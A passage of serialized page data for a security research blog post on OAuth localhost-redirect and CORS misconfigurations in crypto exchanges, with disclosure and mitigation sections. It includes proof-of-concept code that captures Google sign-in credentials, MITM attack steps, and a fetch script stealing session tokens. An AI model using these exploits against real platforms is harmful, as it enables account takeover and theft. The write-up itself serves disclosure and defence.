":141,"props":99426,"children":99427},{"style":154},[99428],{"type":29,"value":192},{"type":23,"tag":141,"props":99430,"children":99431},{"style":828},[99432],{"type":29,"value":69056},{"type":23,"tag":141,"props":99434,"children":99435},{"style":154},[99436],{"type":29,"value":480},{"type":23,"tag":141,"props":99438,"children":99439},{"style":828},[99440],{"type":29,"value":69123},{"type":23,"tag":141,"props":99442,"children":99443},{"style":449},[99444],{"type":29,"value":32578},{"type":23,"tag":141,"props":99446,"children":99447},{"style":160},[99448],{"type":29,"value":69132},{"type":23,"tag":141,"props":99450,"children":99451},{"style":449},[99452],{"type":29,"value":32610},{"type":23,"tag":141,"props":99454,"children":99455},{"style":828},[99456],{"type":29,"value":18731},{"type":23,"tag":141,"props":99458,"children":99459},{"style":154},[99460],{"type":29,"value":69145},{"type":23,"tag":141,"props":99462,"children":99463},{"class":143,"line":801},[99464],{"type":23,"tag":141,"props":99465,"children":99466},{"style":154},[99467],{"type":29,"value":57365},{"type":23,"tag":141,"props":99469,"children":99470},{"class":143,"line":810},[99471],{"type":23,"tag":141,"props":99472,"children":99473},{"style":154},[99474],{"type":29,"value":2008},{"type":23,"tag":141,"props":99476,"children":99477},{"class":143,"line":824},[99478],{"type":23,"tag":141,"props":99479,"children":99480},{"emptyLinePlaceholder":15},[99481],{"type":29,"value":719},{"type":23,"tag":141,"props":99483,"children":99484},{"class":143,"line":839},[99485,99489,99493,99497,99501,99505,99509,99513,99518],{"type":23,"tag":141,"props":99486,"children":99487},{"style":449},[99488],{"type":29,"value":69182},{"type":23,"tag":141,"props":99490,"children":99491},{"style":154},[99492],{"type":29,"value":69208},{"type":23,"tag":141,"props":99494,"children":99495},{"style":160},[99496],{"type":29,"value":1377},{"type":23,"tag":141,"props":99498,"children":99499},{"style":184},[99500],{"type":29,"value":69217},{"type":23,"tag":141,"props":99502,"children":99503},{"style":154},[99504],{"type":29,"value":69222},{"type":23,"tag":141,"props":99506,"children":99507},{"style":184},[99508],{"type":29,"value":37683},{"type":23,"tag":141,"props":99510,"children":99511},{"style":154},[99512],{"type":29,"value":192},{"type":23,"tag":141,"props":99514,"children":99515},{"style":828},[99516],{"type":29,"value":99517},"\"http://localhost:3000\"",{"type":23,"tag":141,"props":99519,"children":99520},{"style":154},[99521],{"type":29,"value":498},{"type":23,"tag":141,"props":99523,"children":99524},{"class":143,"line":848},[99525,99529],{"type":23,"tag":141,"props":99526,"children":99527},{"style":184},[99528],{"type":29,"value":69239},{"type":23,"tag":141,"props":99530,"children":99531},{"style":154},[99532],{"type":29,"value":69244},{"type":23,"tag":141,"props":99534,"children":99535},{"class":143,"line":2304},[99536],{"type":23,"tag":141,"props":99537,"children":99538},{"style":154},[99539],{"type":29,"value":299},{"type":23,"tag":141,"props":99541,"children":99542},{"class":143,"line":2313},[99543],{"type":23,"tag":141,"props":99544,"children":99545},{"emptyLinePlaceholder":15},[99546],{"type":29,"value":719},{"type":23,"tag":141,"props":99548,"children":99549},{"class":143,"line":2335},[99550,99554,99558,99562],{"type":23,"tag":141,"props":99551,"children":99552},{"style":449},[99553],{"type":29,"value":69266},{"type":23,"tag":141,"props":99555,"children":99556},{"style":449},[99557],{"type":29,"value":4881},{"type":23,"tag":141,"props":99559,"children":99560},{"style":184},[99561],{"type":29,"value":69275},{"type":23,"tag":141,"props":99563,"children":99564},{"style":154},[99565],{"type":29,"value":14412},{"type":23,"tag":141,"props":99567,"children":99568},{"class":143,"line":2343},[99569,99573,99577,99581,99585],{"type":23,"tag":141,"props":99570,"children":99571},{"style":184},[99572],{"type":29,"value":69287},{"type":23,"tag":141,"props":99574,"children":99575},{"style":154},[99576],{"type":29,"value":69292},{"type":23,"tag":141,"props":99578,"children":99579},{"style":160},[99580],{"type":29,"value":1377},{"type":23,"tag":141,"props":99582,"children":99583},{"style":472},[99584],{"type":29,"value":69301},{"type":23,"tag":141,"props":99586,"children":99587},{"style":154},[99588],{"type":29,"value":13480},{"type":23,"tag":141,"props":99590,"children":99591},{"class":143,"line":2352},[99592,99596],{"type":23,"tag":141,"props":99593,"children":99594},{"style":184},[99595],{"type":29,"value":69313},{"type":23,"tag":141,"props":99597,"children":99598},{"style":154},[99599],{"type":29,"value":1951},{"type":23,"tag":141,"props":99601,"children":99602},{"class":143,"line":2421},[99603,99607,99611,99615],{"type":23,"tag":141,"props":99604,"children":99605},{"style":449},[99606],{"type":29,"value":69325},{"type":23,"tag":141,"props":99608,"children":99609},{"style":154},[99610],{"type":29,"value":192},{"type":23,"tag":141,"props":99612,"children":99613},{"style":828},[99614],{"type":29,"value":69334},{"type":23,"tag":141,"props":99616,"children":99617},{"style":154},[99618],{"type":29,"value":13480},{"type":23,"tag":141,"props":99620,"children":99621},{"class":143,"line":2429},[99622,99626,99630],{"type":23,"tag":141,"props":99623,"children":99624},{"style":154},[99625],{"type":29,"value":69346},{"type":23,"tag":141,"props":99627,"children":99628},{"style":184},[99629],{"type":29,"value":69351},{"type":23,"tag":141,"props":99631,"children":99632},{"style":154},[99633],{"type":29,"value":1951},{"type":23,"tag":141,"props":99635,"children":99636},{"class":143,"line":2459},[99637,99641],{"type":23,"tag":141,"props":99638,"children":99639},{"style":184},[99640],{"type":29,"value":69363},{"type":23,"tag":141,"props":99642,"children":99643},{"style":154},[99644],{"type":29,"value":1951},{"type":23,"tag":141,"props":99646,"children":99647},{"class":143,"line":2467},[99648,99652,99656,99661],{"type":23,"tag":141,"props":99649,"children":99650},{"style":184},[99651],{"type":29,"value":69440},{"type":23,"tag":141,"props":99653,"children":99654},{"style":154},[99655],{"type":29,"value":192},{"type":23,"tag":141,"props":99657,"children":99658},{"style":828},[99659],{"type":29,"value":99660},"\"Test\"",{"type":23,"tag":141,"props":99662,"children":99663},{"style":154},[99664],{"type":29,"value":758},{"type":23,"tag":141,"props":99666,"children":99667},{"class":143,"line":2499},[99668,99672],{"type":23,"tag":141,"props":99669,"children":99670},{"style":184},[99671],{"type":29,"value":69506},{"type":23,"tag":141,"props":99673,"children":99674},{"style":154},[99675],{"type":29,"value":1951},{"type":23,"tag":141,"props":99677,"children":99678},{"class":143,"line":2507},[99679,99684,99688],{"type":23,"tag":141,"props":99680,"children":99681},{"style":154},[99682],{"type":29,"value":99683}," src ",{"type":23,"tag":141,"props":99685,"children":99686},{"style":160},[99687],{"type":29,"value":1377},{"type":23,"tag":141,"props":99689,"children":99690},{"style":828},[99691],{"type":29,"value":99692}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":141,"props":99694,"children":99695},{"class":143,"line":2567},[99696,99701,99706,99710,99714],{"type":23,"tag":141,"props":99697,"children":99698},{"style":154},[99699],{"type":29,"value":99700}," attributes[",{"type":23,"tag":141,"props":99702,"children":99703},{"style":828},[99704],{"type":29,"value":99705},"\"async\"",{"type":23,"tag":141,"props":99707,"children":99708},{"style":154},[99709],{"type":29,"value":7337},{"type":23,"tag":141,"props":99711,"children":99712},{"style":160},[99713],{"type":29,"value":1377},{"type":23,"tag":141,"props":99715,"children":99716},{"style":828},[99717],{"type":29,"value":99718}," \"\"\n",{"type":23,"tag":141,"props":99720,"children":99721},{"class":143,"line":7724},[99722,99726,99731,99735,99739],{"type":23,"tag":141,"props":99723,"children":99724},{"style":154},[99725],{"type":29,"value":99700},{"type":23,"tag":141,"props":99727,"children":99728},{"style":828},[99729],{"type":29,"value":99730},"\"defer\"",{"type":23,"tag":141,"props":99732,"children":99733},{"style":154},[99734],{"type":29,"value":7337},{"type":23,"tag":141,"props":99736,"children":99737},{"style":160},[99738],{"type":29,"value":1377},{"type":23,"tag":141,"props":99740,"children":99741},{"style":828},[99742],{"type":29,"value":99718},{"type":23,"tag":141,"props":99744,"children":99745},{"class":143,"line":7742},[99746],{"type":23,"tag":141,"props":99747,"children":99748},{"style":154},[99749],{"type":29,"value":69531},{"type":23,"tag":141,"props":99751,"children":99752},{"class":143,"line":7787},[99753,99757],{"type":23,"tag":141,"props":99754,"children":99755},{"style":184},[99756],{"type":29,"value":69506},{"type":23,"tag":141,"props":99758,"children":99759},{"style":154},[99760],{"type":29,"value":1951},{"type":23,"tag":141,"props":99762,"children":99763},{"class":143,"line":7893},[99764,99769],{"type":23,"tag":141,"props":99765,"children":99766},{"style":184},[99767],{"type":29,"value":99768}," unsafe",{"type":23,"tag":141,"props":99770,"children":99771},{"style":154},[99772],{"type":29,"value":1951},{"type":23,"tag":141,"props":99774,"children":99775},{"class":143,"line":22181},[99776,99781],{"type":23,"tag":141,"props":99777,"children":99778},{"style":160},[99779],{"type":29,"value":99780}," +",{"type":23,"tag":141,"props":99782,"children":99783},{"style":828},[99784],{"type":29,"value":99785},"\"\"\"\n",{"type":23,"tag":141,"props":99787,"children":99788},{"class":143,"line":22216},[99789],{"type":23,"tag":141,"props":99790,"children":99791},{"style":828},[99792],{"type":29,"value":99793}," function handleCredentialResponse(response) {\n",{"type":23,"tag":141,"props":99795,"children":99796},{"class":143,"line":22224},[99797],{"type":23,"tag":141,"props":99798,"children":99799},{"style":828},[99800],{"type":29,"value":99801}," alert(\"credential: \" + response.credential);\n",{"type":23,"tag":141,"props":99803,"children":99804},{"class":143,"line":22232},[99805],{"type":23,"tag":141,"props":99806,"children":99807},{"style":828},[99808],{"type":29,"value":299},{"type":23,"tag":141,"props":99810,"children":99811},{"class":143,"line":22241},[99812],{"type":23,"tag":141,"props":99813,"children":99814},{"emptyLinePlaceholder":15},[99815],{"type":29,"value":719},{"type":23,"tag":141,"props":99817,"children":99818},{"class":143,"line":22283},[99819],{"type":23,"tag":141,"props":99820,"children":99821},{"style":828},[99822],{"type":29,"value":99823}," window.onload = async function () {\n",{"type":23,"tag":141,"props":99825,"children":99826},{"class":143,"line":22316},[99827],{"type":23,"tag":141,"props":99828,"children":99829},{"style":828},[99830],{"type":29,"value":99831}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":141,"props":99833,"children":99834},{"class":143,"line":22324},[99835],{"type":23,"tag":141,"props":99836,"children":99837},{"style":828},[99838],{"type":29,"value":99839}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":141,"props":99841,"children":99842},{"class":143,"line":22332},[99843],{"type":23,"tag":141,"props":99844,"children":99845},{"style":828},[99846],{"type":29,"value":99847}," google.accounts.id.initialize({\n",{"type":23,"tag":141,"props":99849,"children":99850},{"class":143,"line":22341},[99851],{"type":23,"tag":141,"props":99852,"children":99853},{"style":828},[99854],{"type":29,"value":99855}," client_id: client_id,\n",{"type":23,"tag":141,"props":99857,"children":99858},{"class":143,"line":22417},[99859],{"type":23,"tag":141,"props":99860,"children":99861},{"style":828},[99862],{"type":29,"value":99863}," callback: handleCredentialResponse,\n",{"type":23,"tag":141,"props":99865,"children":99866},{"class":143,"line":22450},[99867],{"type":23,"tag":141,"props":99868,"children":99869},{"style":828},[99870],{"type":29,"value":99871}," auto_select: true\n",{"type":23,"tag":141,"props":99873,"children":99874},{"class":143,"line":22458},[99875],{"type":23,"tag":141,"props":99876,"children":99877},{"style":828},[99878],{"type":29,"value":5970},{"type":23,"tag":141,"props":99880,"children":99881},{"class":143,"line":22466},[99882],{"type":23,"tag":141,"props":99883,"children":99884},{"emptyLinePlaceholder":15},[99885],{"type":29,"value":719},{"type":23,"tag":141,"props":99887,"children":99888},{"class":143,"line":22503},[99889],{"type":23,"tag":141,"props":99890,"children":99891},{"style":828},[99892],{"type":29,"value":99893}," google.accounts.id.renderButton(\n",{"type":23,"tag":141,"props":99895,"children":99896},{"class":143,"line":22516},[99897],{"type":23,"tag":141,"props":99898,"children":99899},{"style":828},[99900],{"type":29,"value":99901}," document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":141,"props":99903,"children":99904},{"class":143,"line":22529},[99905],{"type":23,"tag":141,"props":99906,"children":99907},{"style":828},[99908],{"type":29,"value":99909}," { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":141,"props":99911,"children":99912},{"class":143,"line":22542},[99913],{"type":23,"tag":141,"props":99914,"children":99915},{"style":828},[99916],{"type":29,"value":5440},{"type":23,"tag":141,"props":99918,"children":99919},{"class":143,"line":22596},[99920],{"type":23,"tag":141,"props":99921,"children":99922},{"emptyLinePlaceholder":15},[99923],{"type":29,"value":719},{"type":23,"tag":141,"props":99925,"children":99926},{"class":143,"line":22605},[99927],{"type":23,"tag":141,"props":99928,"children":99929},{"style":828},[99930],{"type":29,"value":99931}," google.accounts.id.prompt();\n",{"type":23,"tag":141,"props":99933,"children":99934},{"class":143,"line":30749},[99935],{"type":23,"tag":141,"props":99936,"children":99937},{"style":828},[99938],{"type":29,"value":37468},{"type":23,"tag":141,"props":99940,"children":99941},{"class":143,"line":30770},[99942,99947,99951,99956],{"type":23,"tag":141,"props":99943,"children":99944},{"style":828},[99945],{"type":29,"value":99946}," \"\"\"",{"type":23,"tag":141,"props":99948,"children":99949},{"style":154},[99950],{"type":29,"value":322},{"type":23,"tag":141,"props":99952,"children":99953},{"style":184},[99954],{"type":29,"value":99955},"trimIndent",{"type":23,"tag":141,"props":99957,"children":99958},{"style":154},[99959],{"type":29,"value":6410},{"type":23,"tag":141,"props":99961,"children":99962},{"class":143,"line":79436},[99963],{"type":23,"tag":141,"props":99964,"children":99965},{"style":154},[99966],{"type":29,"value":99967}," }\n",{"type":23,"tag":141,"props":99969,"children":99970},{"class":143,"line":79449},[99971],{"type":23,"tag":141,"props":99972,"children":99973},{"style":154},[99974],{"type":29,"value":69531},{"type":23,"tag":141,"props":99976,"children":99977},{"class":143,"line":79457},[99978],{"type":23,"tag":141,"props":99979,"children":99980},{"style":154},[99981],{"type":29,"value":69461},{"type":23,"tag":141,"props":99983,"children":99984},{"class":143,"line":79465},[99985,99989],{"type":23,"tag":141,"props":99986,"children":99987},{"style":184},[99988],{"type":29,"value":69469},{"type":23,"tag":141,"props":99990,"children":99991},{"style":154},[99992],{"type":29,"value":1951},{"type":23,"tag":141,"props":99994,"children":99995},{"class":143,"line":79473},[99996,100000,100004,100008,100013],{"type":23,"tag":141,"props":99997,"children":99998},{"style":184},[99999],{"type":29,"value":69481},{"type":23,"tag":141,"props":100001,"children":100002},{"style":154},[100003],{"type":29,"value":8264},{"type":23,"tag":141,"props":100005,"children":100006},{"style":160},[100007],{"type":29,"value":3058},{"type":23,"tag":141,"props":100009,"children":100010},{"style":828},[100011],{"type":29,"value":100012},"\"Login here:\"",{"type":23,"tag":141,"props":100014,"children":100015},{"style":154},[100016],{"type":29,"value":8274},{"type":23,"tag":141,"props":100018,"children":100019},{"class":143,"line":79513},[100020,100025],{"type":23,"tag":141,"props":100021,"children":100022},{"style":184},[100023],{"type":29,"value":100024}," div",{"type":23,"tag":141,"props":100026,"children":100027},{"style":154},[100028],{"type":29,"value":1951},{"type":23,"tag":141,"props":100030,"children":100031},{"class":143,"line":79521},[100032,100037,100041],{"type":23,"tag":141,"props":100033,"children":100034},{"style":154},[100035],{"type":29,"value":100036}," id ",{"type":23,"tag":141,"props":100038,"children":100039},{"style":160},[100040],{"type":29,"value":1377},{"type":23,"tag":141,"props":100042,"children":100043},{"style":828},[100044],{"type":29,"value":100045}," \"g_id_signin\"\n",{"type":23,"tag":141,"props":100047,"children":100048},{"class":143,"line":86708},[100049],{"type":23,"tag":141,"props":100050,"children":100051},{"style":154},[100052],{"type":29,"value":69531},{"type":23,"tag":141,"props":100054,"children":100055},{"class":143,"line":86716},[100056],{"type":23,"tag":141,"props":100057,"children":100058},{"style":154},[100059],{"type":29,"value":69461},{"type":23,"tag":141,"props":100061,"children":100063},{"class":143,"line":100062},62,[100064],{"type":23,"tag":141,"props":100065,"children":100066},{"style":154},[100067],{"type":29,"value":69546},{"type":23,"tag":141,"props":100069,"children":100071},{"class":143,"line":100070},63,[100072],{"type":23,"tag":141,"props":100073,"children":100074},{"style":154},[100075],{"type":29,"value":69554},{"type":23,"tag":141,"props":100077,"children":100079},{"class":143,"line":100078},64,[100080],{"type":23,"tag":141,"props":100081,"children":100082},{"style":154},[100083],{"type":29,"value":57365},{"type":23,"tag":141,"props":100085,"children":100087},{"class":143,"line":100086},65,[100088,100092,100096,100100,100104,100108],{"type":23,"tag":141,"props":100089,"children":100090},{"style":154},[100091],{"type":29,"value":69569},{"type":23,"tag":141,"props":100093,"children":100094},{"style":184},[100095],{"type":29,"value":69574},{"type":23,"tag":141,"props":100097,"children":100098},{"style":154},[100099],{"type":29,"value":69579},{"type":23,"tag":141,"props":100101,"children":100102},{"style":160},[100103],{"type":29,"value":1377},{"type":23,"tag":141,"props":100105,"children":100106},{"style":449},[100107],{"type":29,"value":11148},{"type":23,"tag":141,"props":100109,"children":100110},{"style":154},[100111],{"type":29,"value":758},{"type":23,"tag":141,"props":100113,"children":100115},{"class":143,"line":100114},66,[100116],{"type":23,"tag":141,"props":100117,"children":100118},{"style":154},[100119],{"type":29,"value":299},{"type":23,"tag":32,"props":100121,"children":100122},{},[100123],{"type":29,"value":100124},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":32,"props":100126,"children":100127},{},[100128],{"type":29,"value":100129},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":8287,"props":100131,"children":100133},{"id":100132},"how-to-mitigate",[100134],{"type":29,"value":100135},"How to Mitigate",{"type":23,"tag":32,"props":100137,"children":100138},{},[100139],{"type":29,"value":100140},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":24,"props":100142,"children":100144},{"id":100143},"exploiting-cors",[100145],{"type":29,"value":100146},"Exploiting CORS",{"type":23,"tag":32,"props":100148,"children":100149},{},[100150],{"type":29,"value":100151},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":32,"props":100153,"children":100154},{},[100155,100157,100163],{"type":29,"value":100156},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":38,"props":100158,"children":100160},{"className":100159},[],[100161],{"type":29,"value":100162},"http://",{"type":29,"value":100164}," schema for any subdomain:",{"type":23,"tag":131,"props":100166,"children":100170},{"className":100167,"code":100168,"language":100169,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[100171],{"type":23,"tag":38,"props":100172,"children":100173},{"__ignoreMap":7},[100174,100182,100190,100198],{"type":23,"tag":141,"props":100175,"children":100176},{"class":143,"line":144},[100177],{"type":23,"tag":141,"props":100178,"children":100179},{},[100180],{"type":29,"value":100181},"HTTP 200 OK\n",{"type":23,"tag":141,"props":100183,"children":100184},{"class":143,"line":180},[100185],{"type":23,"tag":141,"props":100186,"children":100187},{},[100188],{"type":29,"value":100189},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":141,"props":100191,"children":100192},{"class":143,"line":205},[100193],{"type":23,"tag":141,"props":100194,"children":100195},{},[100196],{"type":29,"value":100197},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":141,"props":100199,"children":100200},{"class":143,"line":218},[100201],{"type":23,"tag":141,"props":100202,"children":100203},{},[100204],{"type":29,"value":8998},{"type":23,"tag":8287,"props":100206,"children":100208},{"id":100207},"cors-misconfiguration-by-lack-of-tls",[100209],{"type":29,"value":100210},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":32,"props":100212,"children":100213},{},[100214,100216,100222],{"type":29,"value":100215},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":38,"props":100217,"children":100219},{"className":100218},[],[100220],{"type":29,"value":100221},"exchange.com",{"type":29,"value":100223}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":32,"props":100225,"children":100226},{},[100227],{"type":29,"value":100228},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":15362,"props":100230,"children":100231},{},[100232,100252],{"type":23,"tag":120,"props":100233,"children":100234},{},[100235,100237,100242,100244,100250],{"type":29,"value":100236},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":38,"props":100238,"children":100240},{"className":100239},[],[100241],{"type":29,"value":100162},{"type":29,"value":100243}," --> ",{"type":23,"tag":38,"props":100245,"children":100247},{"className":100246},[],[100248],{"type":29,"value":100249},"https://",{"type":29,"value":100251}," requests, even if same-site",{"type":23,"tag":120,"props":100253,"children":100254},{},[100255,100257],{"type":29,"value":100256},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":38,"props":100258,"children":100260},{"className":100259},[],[100261],{"type":29,"value":36236},{"type":23,"tag":8287,"props":100263,"children":100265},{"id":100264},"exploit-1",[100266],{"type":29,"value":98596},{"type":23,"tag":32,"props":100268,"children":100269},{},[100270],{"type":29,"value":100271},"To exploit it, we must follow some steps:",{"type":23,"tag":116,"props":100273,"children":100274},{},[100275,100280,100285],{"type":23,"tag":120,"props":100276,"children":100277},{},[100278],{"type":29,"value":100279},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":120,"props":100281,"children":100282},{},[100283],{"type":29,"value":100284},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":120,"props":100286,"children":100287},{},[100288,100290,100295],{"type":29,"value":100289},"Use ",{"type":23,"tag":38,"props":100291,"children":100293},{"className":100292},[],[100294],{"type":29,"value":36236},{"type":29,"value":100296}," with CORS to do something malicious using the victim's account",{"type":23,"tag":32,"props":100298,"children":100299},{},[100300],{"type":29,"value":100301},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":32,"props":100303,"children":100304},{},[100305,100307,100312],{"type":29,"value":100306},"Once the redirect to the ",{"type":23,"tag":38,"props":100308,"children":100310},{"className":100309},[],[100311],{"type":29,"value":100162},{"type":29,"value":100313}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":131,"props":100315,"children":100317},{"className":29831,"code":100316,"language":29833,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[100318],{"type":23,"tag":38,"props":100319,"children":100320},{"__ignoreMap":7},[100321,100344,100381,100398,100415,100422,100463],{"type":23,"tag":141,"props":100322,"children":100323},{"class":143,"line":144},[100324,100328,100332,100336,100340],{"type":23,"tag":141,"props":100325,"children":100326},{"style":154},[100327],{"type":29,"value":192},{"type":23,"tag":141,"props":100329,"children":100330},{"style":449},[100331],{"type":29,"value":34616},{"type":23,"tag":141,"props":100333,"children":100334},{"style":154},[100335],{"type":29,"value":38168},{"type":23,"tag":141,"props":100337,"children":100338},{"style":449},[100339],{"type":29,"value":13498},{"type":23,"tag":141,"props":100341,"children":100342},{"style":154},[100343],{"type":29,"value":1951},{"type":23,"tag":141,"props":100345,"children":100346},{"class":143,"line":180},[100347,100351,100356,100360,100364,100368,100372,100377],{"type":23,"tag":141,"props":100348,"children":100349},{"style":449},[100350],{"type":29,"value":6530},{"type":23,"tag":141,"props":100352,"children":100353},{"style":750},[100354],{"type":29,"value":100355}," res",{"type":23,"tag":141,"props":100357,"children":100358},{"style":160},[100359],{"type":29,"value":1674},{"type":23,"tag":141,"props":100361,"children":100362},{"style":148},[100363],{"type":29,"value":34682},{"type":23,"tag":141,"props":100365,"children":100366},{"style":184},[100367],{"type":29,"value":31398},{"type":23,"tag":141,"props":100369,"children":100370},{"style":154},[100371],{"type":29,"value":192},{"type":23,"tag":141,"props":100373,"children":100374},{"style":828},[100375],{"type":29,"value":100376},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":141,"props":100378,"children":100379},{"style":154},[100380],{"type":29,"value":47360},{"type":23,"tag":141,"props":100382,"children":100383},{"class":143,"line":205},[100384,100389,100394],{"type":23,"tag":141,"props":100385,"children":100386},{"style":750},[100387],{"type":29,"value":100388}," credentials:",{"type":23,"tag":141,"props":100390,"children":100391},{"style":828},[100392],{"type":29,"value":100393}," 'include'",{"type":23,"tag":141,"props":100395,"children":100396},{"style":154},[100397],{"type":29,"value":2168},{"type":23,"tag":141,"props":100399,"children":100400},{"class":143,"line":218},[100401,100406,100411],{"type":23,"tag":141,"props":100402,"children":100403},{"style":750},[100404],{"type":29,"value":100405}," method:",{"type":23,"tag":141,"props":100407,"children":100408},{"style":828},[100409],{"type":29,"value":100410}," 'POST'",{"type":23,"tag":141,"props":100412,"children":100413},{"style":154},[100414],{"type":29,"value":2168},{"type":23,"tag":141,"props":100416,"children":100417},{"class":143,"line":227},[100418],{"type":23,"tag":141,"props":100419,"children":100420},{"style":154},[100421],{"type":29,"value":96679},{"type":23,"tag":141,"props":100423,"children":100424},{"class":143,"line":241},[100425,100430,100434,100439,100443,100447,100451,100455,100459],{"type":23,"tag":141,"props":100426,"children":100427},{"style":750},[100428],{"type":29,"value":100429}," console",{"type":23,"tag":141,"props":100431,"children":100432},{"style":154},[100433],{"type":29,"value":322},{"type":23,"tag":141,"props":100435,"children":100436},{"style":184},[100437],{"type":29,"value":100438},"log",{"type":23,"tag":141,"props":100440,"children":100441},{"style":154},[100442],{"type":29,"value":192},{"type":23,"tag":141,"props":100444,"children":100445},{"style":148},[100446],{"type":29,"value":31385},{"type":23,"tag":141,"props":100448,"children":100449},{"style":750},[100450],{"type":29,"value":100355},{"type":23,"tag":141,"props":100452,"children":100453},{"style":154},[100454],{"type":29,"value":322},{"type":23,"tag":141,"props":100456,"children":100457},{"style":184},[100458],{"type":29,"value":32467},{"type":23,"tag":141,"props":100460,"children":100461},{"style":154},[100462],{"type":29,"value":14102},{"type":23,"tag":141,"props":100464,"children":100465},{"class":143,"line":262},[100466],{"type":23,"tag":141,"props":100467,"children":100468},{"style":154},[100469],{"type":29,"value":100470},"})();\n",{"type":23,"tag":32,"props":100472,"children":100473},{},[100474],{"type":29,"value":100475},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":8287,"props":100477,"children":100478},{"id":38805},[100479],{"type":29,"value":38808},{"type":23,"tag":32,"props":100481,"children":100482},{},[100483,100485,100490],{"type":29,"value":100484},"As mitigation, it is recommended to remove all ",{"type":23,"tag":38,"props":100486,"children":100488},{"className":100487},[],[100489],{"type":29,"value":100162},{"type":29,"value":100491}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":32,"props":100493,"children":100494},{},[100495],{"type":29,"value":100496},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":24,"props":100498,"children":100499},{"id":27618},[100500],{"type":29,"value":17618},{"type":23,"tag":32,"props":100502,"children":100503},{},[100504],{"type":29,"value":100505},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":32,"props":100507,"children":100508},{},[100509],{"type":29,"value":100510},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":1508,"props":100512,"children":100513},{},[100514],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":100516},[100517,100522,100527],{"id":98201,"depth":180,"text":98204,"children":100518},[100519,100520,100521],{"id":98212,"depth":205,"text":98215},{"id":98569,"depth":205,"text":98572},{"id":100132,"depth":205,"text":100135},{"id":100143,"depth":180,"text":100146,"children":100523},[100524,100525,100526],{"id":100207,"depth":205,"text":100210},{"id":100264,"depth":205,"text":98596},{"id":38805,"depth":205,"text":38808},{"id":27618,"depth":180,"text":17618},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":100532,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100533,"description":100534,"date":100535,"author":100536,"image":100537,"isFeatured":15,"onBlogPage":15,"tags":100539,"body":100542,"_type":1522,"_id":106314,"_source":1524,"_file":106315,"_stem":106316,